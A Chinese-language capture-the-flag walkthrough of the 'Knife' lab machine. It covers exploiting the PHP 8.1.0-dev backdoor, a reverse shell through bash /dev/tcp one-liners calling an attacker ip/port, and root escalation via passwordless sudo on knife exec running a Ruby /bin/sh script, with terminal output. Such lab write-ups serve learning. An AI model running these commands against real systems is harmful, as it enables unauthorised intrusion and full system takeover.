Knife

- 官方标注难度为Easy
- 开了之后nmap扫一下，发现就开了两个端口ssh和http
- 惯例先去网站上扫一眼，发现就是个很垃圾的页面，然后我观察请求的时候发现Response里有X-Powered-By:PHP-8.1.0-dev然后Server方面是Apache:2.4.41。在网上搜索发现php-8.1.0-dev有一个非常容易利用的后门，可以rce，于是在exploit-db上扒了个脚本
- 但是我通过nc弹shell弹不过来，然后我猜可能是没有nc(后来证明我错了，我是菜逼)。于是在网上找了个bash反弹shell的`bash -i >& /dev/tcp/ip/port 0>&1`或者`bash -c "bash -i >& /dev/tcp/ip/port 0>&1"`。最后第二个命令成功弹了个shell回来，然后我在/bin目录下发现了nc(orz不知道之前那个nc弹shell为啥不成功)。
- 然后就在/home/james目录下获得了user.txt
- 接下来是提权，根据uname -a发现linux版本很新，所以通过系统漏洞提权应该走不通，网上的exp可以说很罕见。上网找了一圈linux提权总结，发现通过`sudo -l`命令发现我目前的用户可以通过sudo无密码以root权限执行/usr/bin/knife这个程序，通过-h参数加上看文档了解到这个可以执行ruby脚本通过`knife exec [ruby script]`。所以思路就来了，通过sudo来执行knife，knife目前是root权限，然后用knife来运行ruby脚本，执行的ruby脚本就是root权限，这个时候执行/bin/sh弹出来的shell当然也是root权限的。所以上网找了下ruby脚本执行linux命令的代码直接写一个ruby脚本在tmp目录下，`echo "exec '/bin/sh'" > test.rb`，然后用sudo knife exec test.rb，就能弹出一个root权限的shell。

```
james@knife:/tmp$ echo "exec '/bin/sh'" > test.rb
echo "exec '/bin/sh'" > test.rb
james@knife:/tmp$ sudo knife exec test.rb
sudo knife exec test.rb
ls
bundler
f
fakepasswd
get_flag.rb
hsperfdata_opscode
snap.lxd
sudo_lpe.c
systemd-private-d8e9da67407a4ccdbf11d9f9d2ecd287-apache2.service-k06Jif
systemd-private-d8e9da67407a4ccdbf11d9f9d2ecd287-systemd-logind.service-iENxfh
systemd-private-d8e9da67407a4ccdbf11d9f9d2ecd287-systemd-resolved.service-TGNGli
systemd-private-d8e9da67407a4ccdbf11d9f9d2ecd287-systemd-timesyncd.service-bxQnuf
test.rb
test.txt
vmware-root_733-4248680474
id
uid=0(root) gid=0(root) groups=0(root)
```